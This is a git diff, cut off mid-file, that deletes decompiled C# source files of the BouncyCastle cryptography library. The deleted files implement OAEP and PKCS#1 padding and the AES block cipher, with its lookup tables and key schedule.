b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/OaepEncoding.cs deleted file mode 100644 index cb8570d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/OaepEncoding.cs +++ /dev/null @@ -1,223 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Encodings; - -public class OaepEncoding : IAsymmetricBlockCipher -{ - private byte[] defHash; - - private IDigest mgf1Hash; - - private IAsymmetricBlockCipher engine; - - private SecureRandom random; - - private bool forEncryption; - - public string AlgorithmName => engine.AlgorithmName + "/OAEPPadding"; - - public OaepEncoding(IAsymmetricBlockCipher cipher) - : this(cipher, new Sha1Digest(), null) - { - } - - public OaepEncoding(IAsymmetricBlockCipher cipher, IDigest hash) - : this(cipher, hash, null) - { - } - - public OaepEncoding(IAsymmetricBlockCipher cipher, IDigest hash, byte[] encodingParams) - : this(cipher, hash, hash, encodingParams) - { - } - - public OaepEncoding(IAsymmetricBlockCipher cipher, IDigest hash, IDigest mgf1Hash, byte[] encodingParams) - { - engine = cipher; - this.mgf1Hash = mgf1Hash; - defHash = new byte[hash.GetDigestSize()]; - hash.Reset(); - if (encodingParams != null) - { - hash.BlockUpdate(encodingParams, 0, encodingParams.Length); - } - hash.DoFinal(defHash, 0); - } - - public IAsymmetricBlockCipher GetUnderlyingCipher() - { - return engine; - } - - public void Init(bool forEncryption, ICipherParameters param) - { - if (param is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)param; - random = parametersWithRandom.Random; - } - else - { - random = new SecureRandom(); - } - engine.Init(forEncryption, param); - this.forEncryption = forEncryption; - } - - public int GetInputBlockSize() - { - int inputBlockSize = engine.GetInputBlockSize(); - if (forEncryption) - { - return inputBlockSize - 1 - 2 * defHash.Length; - } - return inputBlockSize; - } - - public int GetOutputBlockSize() - { - int outputBlockSize = engine.GetOutputBlockSize(); - if (forEncryption) - { - return outputBlockSize; - } - return outputBlockSize - 1 - 2 * defHash.Length; - } - - public byte[] ProcessBlock(byte[] inBytes, int inOff, int inLen) - { - if (forEncryption) - { - return EncodeBlock(inBytes, inOff, inLen); - } - return DecodeBlock(inBytes, inOff, inLen); - } - - private byte[] EncodeBlock(byte[] inBytes, int inOff, int inLen) - { - Check.DataLength(inLen > GetInputBlockSize(), "input data too long"); - byte[] array = new byte[GetInputBlockSize() + 1 + 2 * defHash.Length]; - Array.Copy(inBytes, inOff, array, array.Length - inLen, inLen); - array[array.Length - inLen - 1] = 1; - Array.Copy(defHash, 0, array, defHash.Length, defHash.Length); - byte[] nextBytes = SecureRandom.GetNextBytes(random, defHash.Length); - byte[] array2 = maskGeneratorFunction1(nextBytes, 0, nextBytes.Length, array.Length - defHash.Length); - for (int i = defHash.Length; i != array.Length; i++) - { - byte[] array4; - byte[] array3 = (array4 = array); - int num = i; - nint num2 = num; - array3[num] = (byte)(array4[num2] ^ array2[i - defHash.Length]); - } - Array.Copy(nextBytes, 0, array, 0, defHash.Length); - array2 = maskGeneratorFunction1(array, defHash.Length, array.Length - defHash.Length, defHash.Length); - for (int j = 0; j != defHash.Length; j++) - { - byte[] array4; - byte[] array5 = (array4 = array); - int num3 = j; - nint num2 = num3; - array5[num3] = (byte)(array4[num2] ^ array2[j]); - } - return engine.ProcessBlock(array, 0, array.Length); - } - - private byte[] DecodeBlock(byte[] inBytes, int inOff, int inLen) - { - byte[] array = engine.ProcessBlock(inBytes, inOff, inLen); - byte[] array2 = new byte[engine.GetOutputBlockSize()]; - bool flag = array2.Length < 2 * defHash.Length + 1; - if (array.Length <= array2.Length) - { - Array.Copy(array, 0, array2, array2.Length - array.Length, array.Length); - } - else - { - Array.Copy(array, 0, array2, 0, array2.Length); - flag = true; - } - byte[] array3 = maskGeneratorFunction1(array2, defHash.Length, array2.Length - defHash.Length, defHash.Length); - for (int i = 0; i != defHash.Length; i++) - { - byte[] array5; - byte[] array4 = (array5 = array2); - int num = i; - nint num2 = num; - array4[num] = (byte)(array5[num2] ^ array3[i]); - } - array3 = maskGeneratorFunction1(array2, 0, defHash.Length, array2.Length - defHash.Length); - for (int j = defHash.Length; j != array2.Length; j++) - { - byte[] array5; - byte[] array6 = (array5 = array2); - int num3 = j; - nint num2 = num3; - array6[num3] = (byte)(array5[num2] ^ array3[j - defHash.Length]); - } - bool flag2 = false; - for (int k = 0; k != defHash.Length; k++) - { - if (defHash[k] != array2[defHash.Length + k]) - { - flag2 = true; - } - } - int num4 = array2.Length; - for (int l = 2 * defHash.Length; l != array2.Length; l++) - { - if ((array2[l] != 0) & (num4 == array2.Length)) - { - num4 = l; - } - } - bool flag3 = (num4 > array2.Length - 1) | (array2[num4] != 1); - num4++; - if (flag2 || flag || flag3) - { - Arrays.Fill(array2, 0); - throw new InvalidCipherTextException("data wrong"); - } - byte[] array7 = new byte[array2.Length - num4]; - Array.Copy(array2, num4, array7, 0, array7.Length); - return array7; - } - - private void ItoOSP(int i, byte[] sp) - { - sp[0] = (byte)((uint)i >> 24); - sp[1] = (byte)((uint)i >> 16); - sp[2] = (byte)((uint)i >> 8); - sp[3] = (byte)i; - } - - private byte[] maskGeneratorFunction1(byte[] Z, int zOff, int zLen, int length) - { - byte[] array = new byte[length]; - byte[] array2 = new byte[mgf1Hash.GetDigestSize()]; - byte[] array3 = new byte[4]; - int i = 0; - mgf1Hash.Reset(); - for (; i < length / array2.Length; i++) - { - ItoOSP(i, array3); - mgf1Hash.BlockUpdate(Z, zOff, zLen); - mgf1Hash.BlockUpdate(array3, 0, array3.Length); - mgf1Hash.DoFinal(array2, 0); - Array.Copy(array2, 0, array, i * array2.Length, array2.Length); - } - if (i * array2.Length < length) - { - ItoOSP(i, array3); - mgf1Hash.BlockUpdate(Z, zOff, zLen); - mgf1Hash.BlockUpdate(array3, 0, array3.Length); - mgf1Hash.DoFinal(array2, 0); - Array.Copy(array2, 0, array, i * array2.Length, array.Length - i * array2.Length); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/Pkcs1Encoding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/Pkcs1Encoding.cs deleted file mode 100644 index 7a07232..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/Pkcs1Encoding.cs +++ /dev/null @@ -1,259 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Encodings; - -public class Pkcs1Encoding : IAsymmetricBlockCipher -{ - public const string StrictLengthEnabledProperty = "Org.BouncyCastle.Pkcs1.Strict"; - - private const int HeaderLength = 10; - - private static readonly bool[] strictLengthEnabled; - - private SecureRandom random; - - private IAsymmetricBlockCipher engine; - - private bool forEncryption; - - private bool forPrivateKey; - - private bool useStrictLength; - - private int pLen = -1; - - private byte[] fallback = null; - - private byte[] blockBuffer = null; - - public static bool StrictLengthEnabled - { - get - { - return strictLengthEnabled[0]; - } - set - { - strictLengthEnabled[0] = value; - } - } - - public string AlgorithmName => engine.AlgorithmName + "/PKCS1Padding"; - - static Pkcs1Encoding() - { - string environmentVariable = Platform.GetEnvironmentVariable("Org.BouncyCastle.Pkcs1.Strict"); - strictLengthEnabled = new bool[1] { environmentVariable?.Equals("true") ?? true }; - } - - public Pkcs1Encoding(IAsymmetricBlockCipher cipher) - { - engine = cipher; - useStrictLength = StrictLengthEnabled; - } - - public Pkcs1Encoding(IAsymmetricBlockCipher cipher, int pLen) - { - engine = cipher; - useStrictLength = StrictLengthEnabled; - this.pLen = pLen; - } - - public Pkcs1Encoding(IAsymmetricBlockCipher cipher, byte[] fallback) - { - engine = cipher; - useStrictLength = StrictLengthEnabled; - this.fallback = fallback; - pLen = fallback.Length; - } - - public IAsymmetricBlockCipher GetUnderlyingCipher() - { - return engine; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - AsymmetricKeyParameter asymmetricKeyParameter; - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - random = parametersWithRandom.Random; - asymmetricKeyParameter = (AsymmetricKeyParameter)parametersWithRandom.Parameters; - } - else - { - random = new SecureRandom(); - asymmetricKeyParameter = (AsymmetricKeyParameter)parameters; - } - engine.Init(forEncryption, parameters); - forPrivateKey = asymmetricKeyParameter.IsPrivate; - this.forEncryption = forEncryption; - blockBuffer = new byte[engine.GetOutputBlockSize()]; - if (pLen > 0 && fallback == null && random == null) - { - throw new ArgumentException("encoder requires random"); - } - } - - public int GetInputBlockSize() - { - int inputBlockSize = engine.GetInputBlockSize(); - if (!forEncryption) - { - return inputBlockSize; - } - return inputBlockSize - 10; - } - - public int GetOutputBlockSize() - { - int outputBlockSize = engine.GetOutputBlockSize(); - if (!forEncryption) - { - return outputBlockSize - 10; - } - return outputBlockSize; - } - - public byte[] ProcessBlock(byte[] input, int inOff, int length) - { - if (!forEncryption) - { - return DecodeBlock(input, inOff, length); - } - return EncodeBlock(input, inOff, length); - } - - private byte[] EncodeBlock(byte[] input, int inOff, int inLen) - { - if (inLen > GetInputBlockSize()) - { - throw new ArgumentException("input data too large", "inLen"); - } - byte[] array = new byte[engine.GetInputBlockSize()]; - if (forPrivateKey) - { - array[0] = 1; - for (int i = 1; i != array.Length - inLen - 1; i++) - { - array[i] = byte.MaxValue; - } - } - else - { - random.NextBytes(array); - array[0] = 2; - for (int j = 1; j != array.Length - inLen - 1; j++) - { - while (array[j] == 0) - { - array[j] = (byte)random.NextInt(); - } - } - } - array[array.Length - inLen - 1] = 0; - Array.Copy(input, inOff, array, array.Length - inLen, inLen); - return engine.ProcessBlock(array, 0, array.Length); - } - - private static int CheckPkcs1Encoding(byte[] encoded, int pLen) - { - int num = 0; - num |= encoded[0] ^ 2; - int num2 = encoded.Length - (pLen + 1); - for (int i = 1; i < num2; i++) - { - int num3 = encoded[i]; - num3 |= num3 >> 1; - num3 |= num3 >> 2; - num3 |= num3 >> 4; - num |= (num3 & 1) - 1; - } - num |= encoded[^(pLen + 1)]; - num |= num >> 1; - num |= num >> 2; - num |= num >> 4; - return ~((num & 1) - 1); - } - - private byte[] DecodeBlockOrRandom(byte[] input, int inOff, int inLen) - { - if (!forPrivateKey) - { - throw new InvalidCipherTextException("sorry, this method is only for decryption, not for signing"); - } - byte[] array = engine.ProcessBlock(input, inOff, inLen); - byte[] array2; - if (fallback == null) - { - array2 = new byte[pLen]; - random.NextBytes(array2); - } - else - { - array2 = fallback; - } - byte[] array3 = ((useStrictLength & (array.Length != engine.GetOutputBlockSize())) ? blockBuffer : array); - int num = CheckPkcs1Encoding(array3, pLen); - byte[] array4 = new byte[pLen]; - for (int i = 0; i < pLen; i++) - { - array4[i] = (byte)((array3[i + (array3.Length - pLen)] & ~num) | (array2[i] & num)); - } - Arrays.Fill(array3, 0); - return array4; - } - - private byte[] DecodeBlock(byte[] input, int inOff, int inLen) - { - if (pLen != -1) - { - return DecodeBlockOrRandom(input, inOff, inLen); - } - byte[] array = engine.ProcessBlock(input, inOff, inLen); - bool flag = useStrictLength & (array.Length != engine.GetOutputBlockSize()); - byte[] array2 = ((array.Length >= GetOutputBlockSize()) ? array : blockBuffer); - byte b = (byte)((!forPrivateKey) ? 1u : 2u); - byte b2 = array2[0]; - bool flag2 = b2 != b; - int num = FindStart(b2, array2); - num++; - if (flag2 || num < 10) - { - Arrays.Fill(array2, 0); - throw new InvalidCipherTextException("block incorrect"); - } - if (flag) - { - Arrays.Fill(array2, 0); - throw new InvalidCipherTextException("block incorrect size"); - } - byte[] array3 = new byte[array2.Length - num]; - Array.Copy(array2, num, array3, 0, array3.Length); - return array3; - } - - private int FindStart(byte type, byte[] block) - { - int num = -1; - bool flag = false; - for (int i = 1; i != block.Length; i++) - { - byte b = block[i]; - if (b == 0 && num < 0) - { - num = i; - } - flag = flag || (type == 1 && num < 0 && b != byte.MaxValue); - } - if (!flag) - { - return num; - } - return -1; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesEngine.cs deleted file mode 100644 index 3c1d712..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesEngine.cs +++ /dev/null @@ -1,510 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class AesEngine : IBlockCipher -{ - private const uint m1 = 2155905152u; - - private const uint m2 = 2139062143u; - - private const uint m3 = 27u; - - private const uint m4 = 3233857728u; - - private const uint m5 = 1061109567u; - - private const int BLOCK_SIZE = 16; - - private static readonly byte[] S = new byte[256] - { - 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, - 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, - 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, - 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, - 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, - 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, - 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, - 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, - 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, - 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, - 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, - 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, - 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, - 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, - 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, - 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, - 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, - 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, - 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, - 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, - 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, - 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, - 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, - 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, - 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, - 45, 15, 176, 84, 187, 22 - }; - - private static readonly byte[] Si = new byte[256] - { - 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, - 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, - 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, - 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, - 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, - 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, - 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, - 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, - 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, - 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, - 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, - 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, - 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, - 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, - 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, - 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, - 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, - 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, - 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, - 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, - 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, - 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, - 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, - 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, - 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, - 20, 99, 85, 33, 12, 125 - }; - - private static readonly byte[] rcon = new byte[30] - { - 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, - 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, - 151, 53, 106, 212, 179, 125, 250, 239, 197, 145 - }; - - private static readonly uint[] T0 = new uint[256] - { - 2774754246u, 2222750968u, 2574743534u, 2373680118u, 234025727u, 3177933782u, 2976870366u, 1422247313u, 1345335392u, 50397442u, - 2842126286u, 2099981142u, 436141799u, 1658312629u, 3870010189u, 2591454956u, 1170918031u, 2642575903u, 1086966153u, 2273148410u, - 368769775u, 3948501426u, 3376891790u, 200339707u, 3970805057u, 1742001331u, 4255294047u, 3937382213u, 3214711843u, 4154762323u, - 2524082916u, 1539358875u, 3266819957u, 486407649u, 2928907069u, 1780885068u, 1513502316u, 1094664062u, 49805301u, 1338821763u, - 1546925160u, 4104496465u, 887481809u, 150073849u, 2473685474u, 1943591083u, 1395732834u, 1058346282u, 201589768u, 1388824469u, - 1696801606u, 1589887901u, 672667696u, 2711000631u, 251987210u, 3046808111u, 151455502u, 907153956u, 2608889883u, 1038279391u, - 652995533u, 1764173646u, 3451040383u, 2675275242u, 453576978u, 2659418909u, 1949051992u, 773462580u, 756751158u, 2993581788u, - 3998898868u, 4221608027u, 4132590244u, 1295727478u, 1641469623u, 3467883389u, 2066295122u, 1055122397u, 1898917726u, 2542044179u, - 4115878822u, 1758581177u, 0u, 753790401u, 1612718144u, 536673507u, 3367088505u, 3982187446u, 3194645204u, 1187761037u, - 3653156455u, 1262041458u, 3729410708u, 3561770136u, 3898103984u, 1255133061u, 1808847035u, 720367557u, 3853167183u, 385612781u, - 3309519750u, 3612167578u, 1429418854u, 2491778321u, 3477423498u, 284817897u, 100794884u, 2172616702u, 4031795360u, 1144798328u, - 3131023141u, 3819481163u, 4082192802u, 4272137053u, 3225436288u, 2324664069u, 2912064063u, 3164445985u, 1211644016u, 83228145u, - 3753688163u, 3249976951u, 1977277103u, 1663115586u, 806359072u, 452984805u, 250868733u, 1842533055u, 1288555905u, 336333848u, - 890442534u, 804056259u, 3781124030u, 2727843637u, 3427026056u, 957814574u, 1472513171u, 4071073621u, 2189328124u, 1195195770u, - 2892260552u, 3881655738u, 723065138u, 2507371494u, 2690670784u, 2558624025u, 3511635870u, 2145180835u, 1713513028u, 2116692564u, - 2878378043u, 2206763019u, 3393603212u, 703524551u, 3552098411u, 1007948840u, 2044649127u, 3797835452u, 487262998u, 1994120109u, - 1004593371u, 1446130276u, 1312438900u, 503974420u, 3679013266u, 168166924u, 1814307912u, 3831258296u, 1573044895u, 1859376061u, - 4021070915u, 2791465668u, 2828112185u, 2761266481u, 937747667u, 2339994098u, 854058965u, 1137232011u, 1496790894u, 3077402074u, - 2358086913u, 1691735473u, 3528347292u, 3769215305u, 3027004632u, 4199962284u, 133494003u, 636152527u, 2942657994u, 2390391540u, - 3920539207u, 403179536u, 3585784431u, 2289596656u, 1864705354u, 1915629148u, 605822008u, 4054230615u, 3350508659u, 1371981463u, - 602466507u, 2094914977u, 2624877800u, 555687742u, 3712699286u, 3703422305u, 2257292045u, 2240449039u, 2423288032u, 1111375484u, - 3300242801u, 2858837708u, 3628615824u, 84083462u, 32962295u, 302911004u, 2741068226u, 1597322602u, 4183250862u, 3501832553u, - 2441512471u, 1489093017u, 656219450u, 3114180135u, 954327513u, 335083755u, 3013122091u, 856756514u, 3144247762u, 1893325225u, - 2307821063u, 2811532339u, 3063651117u, 572399164u, 2458355477u, 552200649u, 1238290055u, 4283782570u, 2015897680u, 2061492133u, - 2408352771u, 4171342169u, 2156497161u, 386731290u, 3669999461u, 837215959u, 3326231172u, 3093850320u, 3275833730u, 2962856233u, - 1999449434u, 286199582u, 3417354363u, 4233385128u, 3602627437u, 974525996u - }; - - private static readonly uint[] Tinv0 = new uint[256] - { - 1353184337u, 1399144830u, 3282310938u, 2522752826u, 3412831035u, 4047871263u, 2874735276u, 2466505547u, 1442459680u, 4134368941u, - 2440481928u, 625738485u, 4242007375u, 3620416197u, 2151953702u, 2409849525u, 1230680542u, 1729870373u, 2551114309u, 3787521629u, - 41234371u, 317738113u, 2744600205u, 3338261355u, 3881799427u, 2510066197u, 3950669247u, 3663286933u, 763608788u, 3542185048u, - 694804553u, 1154009486u, 1787413109u, 2021232372u, 1799248025u, 3715217703u, 3058688446u, 397248752u, 1722556617u, 3023752829u, - 407560035u, 2184256229u, 1613975959u, 1165972322u, 3765920945u, 2226023355u, 480281086u, 2485848313u, 1483229296u, 436028815u, - 2272059028u, 3086515026u, 601060267u, 3791801202u, 1468997603u, 715871590u, 120122290u, 63092015u, 2591802758u, 2768779219u, - 4068943920u, 2997206819u, 3127509762u, 1552029421u, 723308426u, 2461301159u, 4042393587u, 2715969870u, 3455375973u, 3586000134u, - 526529745u, 2331944644u, 2639474228u, 2689987490u, 853641733u, 1978398372u, 971801355u, 2867814464u, 111112542u, 1360031421u, - 4186579262u, 1023860118u, 2919579357u, 1186850381u, 3045938321u, 90031217u, 1876166148u, 4279586912u, 620468249u, 2548678102u, - 3426959497u, 2006899047u, 3175278768u, 2290845959u, 945494503u, 3689859193u, 1191869601u, 3910091388u, 3374220536u, 0u, - 2206629897u, 1223502642u, 2893025566u, 1316117100u, 4227796733u, 1446544655u, 517320253u, 658058550u, 1691946762u, 564550760u, - 3511966619u, 976107044u, 2976320012u, 266819475u, 3533106868u, 2660342555u, 1338359936u, 2720062561u, 1766553434u, 370807324u, - 179999714u, 3844776128u, 1138762300u, 488053522u, 185403662u, 2915535858u, 3114841645u, 3366526484u, 2233069911u, 1275557295u, - 3151862254u, 4250959779u, 2670068215u, 3170202204u, 3309004356u, 880737115u, 1982415755u, 3703972811u, 1761406390u, 1676797112u, - 3403428311u, 277177154u, 1076008723u, 538035844u, 2099530373u, 4164795346u, 288553390u, 1839278535u, 1261411869u, 4080055004u, - 3964831245u, 3504587127u, 1813426987u, 2579067049u, 4199060497u, 577038663u, 3297574056u, 440397984u, 3626794326u, 4019204898u, - 3343796615u, 3251714265u, 4272081548u, 906744984u, 3481400742u, 685669029u, 646887386u, 2764025151u, 3835509292u, 227702864u, - 2613862250u, 1648787028u, 3256061430u, 3904428176u, 1593260334u, 4121936770u, 3196083615u, 2090061929u, 2838353263u, 3004310991u, - 999926984u, 2809993232u, 1852021992u, 2075868123u, 158869197u, 4095236462u, 28809964u, 2828685187u, 1701746150u, 2129067946u, - 147831841u, 3873969647u, 3650873274u, 3459673930u, 3557400554u, 3598495785u, 2947720241u, 824393514u, 815048134u, 3227951669u, - 935087732u, 2798289660u, 2966458592u, 366520115u, 1251476721u, 4158319681u, 240176511u, 804688151u, 2379631990u, 1303441219u, - 1414376140u, 3741619940u, 3820343710u, 461924940u, 3089050817u, 2136040774u, 82468509u, 1563790337u, 1937016826u, 776014843u, - 1511876531u, 1389550482u, 861278441u, 323475053u, 2355222426u, 2047648055u, 2383738969u, 2302415851u, 3995576782u, 902390199u, - 3991215329u, 1018251130u, 1507840668u, 1064563285u, 2043548696u, 3208103795u, 3939366739u, 1537932639u, 342834655u, 2262516856u, - 2180231114u, 1053059257u, 741614648u, 1598071746u, 1925389590u, 203809468u, 2336832552u, 1100287487u, 1895934009u, 3736275976u, - 2632234200u, 2428589668u, 1636092795u, 1890988757u, 1952214088u, 1113045200u - }; - - private int ROUNDS; - - private uint[][] WorkingKey; - - private uint C0; - - private uint C1; - - private uint C2; - - private uint C3; - - private bool forEncryption; - - private byte[] s; - - public virtual string AlgorithmName => "AES"; - - public virtual bool IsPartialBlockOkay => false; - - private static uint Shift(uint r, int shift) - { - return (r >> shift) | (r << 32 - shift); - } - - private static uint FFmulX(uint x) - { - return ((x & 0x7F7F7F7F) << 1) ^ (((x & 0x80808080u) >> 7) * 27); - } - - private static uint FFmulX2(uint x) - { - uint num = (x & 0x3F3F3F3F) << 2; - uint num2 = x & 0xC0C0C0C0u; - num2 ^= num2 >> 1; - return num ^ (num2 >> 2) ^ (num2 >> 5); - } - - private static uint Inv_Mcol(uint x) - { - uint num = x; - uint num2 = num ^ Shift(num, 8); - num ^= FFmulX(num2); - num2 ^= FFmulX2(num); - return num ^ (num2 ^ Shift(num2, 16)); - } - - private static uint SubWord(uint x) - { - return (uint)(S[x & 0xFF] | (S[(x >> 8) & 0xFF] << 8) | (S[(x >> 16) & 0xFF] << 16) | (S[(x >> 24) & 0xFF] << 24)); - } - - private uint[][] GenerateWorkingKey(byte[] key, bool forEncryption) - { - int num = key.Length; - if (num < 16 || num > 32 || (num & 7) != 0) - { - throw new ArgumentException("Key length not 128/192/256 bits."); - } - int num2 = num >> 2; - ROUNDS = num2 + 6; - uint[][] array = new uint[ROUNDS + 1][]; - for (int i = 0; i <= ROUNDS; i++) - { - array[i] = new uint[4]; - } - switch (num2) - { - case 4: - { - uint num21 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num21; - uint num22 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num22; - uint num23 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num23; - uint num24 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num24; - for (int l = 1; l <= 10; l++) - { - uint num25 = SubWord(Shift(num24, 8)) ^ rcon[l - 1]; - num21 ^= num25; - array[l][0] = num21; - num22 ^= num21; - array[l][1] = num22; - num23 ^= num22; - array[l][2] = num23; - num24 ^= num23; - array[l][3] = num24; - } - break; - } - case 6: - { - uint num13 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num13; - uint num14 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num14; - uint num15 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num15; - uint num16 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num16; - uint num17 = Pack.LE_To_UInt32(key, 16); - array[1][0] = num17; - uint num18 = Pack.LE_To_UInt32(key, 20); - array[1][1] = num18; - uint num19 = 1u; - uint num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[1][2] = num13; - num14 ^= num13; - array[1][3] = num14; - num15 ^= num14; - array[2][0] = num15; - num16 ^= num15; - array[2][1] = num16; - num17 ^= num16; - array[2][2] = num17; - num18 ^= num17; - array[2][3] = num18; - for (int k = 3; k < 12; k += 3) - { - num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[k][0] = num13; - num14 ^= num13; - array[k][1] = num14; - num15 ^= num14; - array[k][2] = num15; - num16 ^= num15; - array[k][3] = num16; - num17 ^= num16; - array[k + 1][0] = num17; - num18 ^= num17; - array[k + 1][1] = num18; - num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[k + 1][2] = num13; - num14 ^= num13; - array[k + 1][3] = num14; - num15 ^= num14; - array[k + 2][0] = num15; - num16 ^= num15; - array[k + 2][1] = num16; - num17 ^= num16; - array[k + 2][2] = num17; - num18 ^= num17; - array[k + 2][3] = num18; - } - num20 = SubWord(Shift(num18, 8)) ^ num19; - num13 ^= num20; - array[12][0] = num13; - num14 ^= num13; - array[12][1] = num14; - num15 ^= num14; - array[12][2] = num15; - num16 ^= num15; - array[12][3] = num16; - break; - } - case 8: - { - uint num3 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num3; - uint num4 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num4; - uint num5 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num5; - uint num6 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num6; - uint num7 = Pack.LE_To_UInt32(key, 16); - array[1][0] = num7; - uint num8 = Pack.LE_To_UInt32(key, 20); - array[1][1] = num8; - uint num9 = Pack.LE_To_UInt32(key, 24); - array[1][2] = num9; - uint num10 = Pack.LE_To_UInt32(key, 28); - array[1][3] = num10; - uint num11 = 1u; - uint num12; - for (int j = 2; j < 14; j += 2) - { - num12 = SubWord(Shift(num10, 8)) ^ num11; - num11 <<= 1; - num3 ^= num12; - array[j][0] = num3; - num4 ^= num3; - array[j][1] = num4; - num5 ^= num4; - array[j][2] = num5; - num6 ^= num5; - array[j][3] = num6; - num12 = SubWord(num6); - num7 ^= num12; - array[j + 1][0] = num7; - num8 ^= num7; - array[j + 1][1] = num8; - num9 ^= num8; - array[j + 1][2] = num9; - num10 ^= num9; - array[j + 1][3] = num10; - } - num12 = SubWord(Shift(num10, 8)) ^ num11; - num3 ^= num12; - array[14][0] = num3; - num4 ^= num3; - array[14][1] = num4; - num5 ^= num4; - array[14][2] = num5; - num6 ^= num5; - array[14][3] = num6; - break; - } - default: - throw new InvalidOperationException("Should never get here"); - } - if (!forEncryption) - { - for (int m = 1; m < ROUNDS; m++) - { - uint[] array2 = array[m]; - for (int n = 0; n < 4; n++) - { - array2[n] = Inv_Mcol(array2[n]); - } - } - } - return array; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter keyParameter)) - { - throw new ArgumentException("invalid parameter passed to AES init - " + Platform.GetTypeName(parameters)); - } - WorkingKey = GenerateWorkingKey(keyParameter.GetKey(), forEncryption); - this.forEncryption = forEncryption; - s = Arrays.Clone(forEncryption ? S : Si); - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (WorkingKey == null) - { - throw new InvalidOperationException("AES engine not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - UnPackBlock(input, inOff); - if 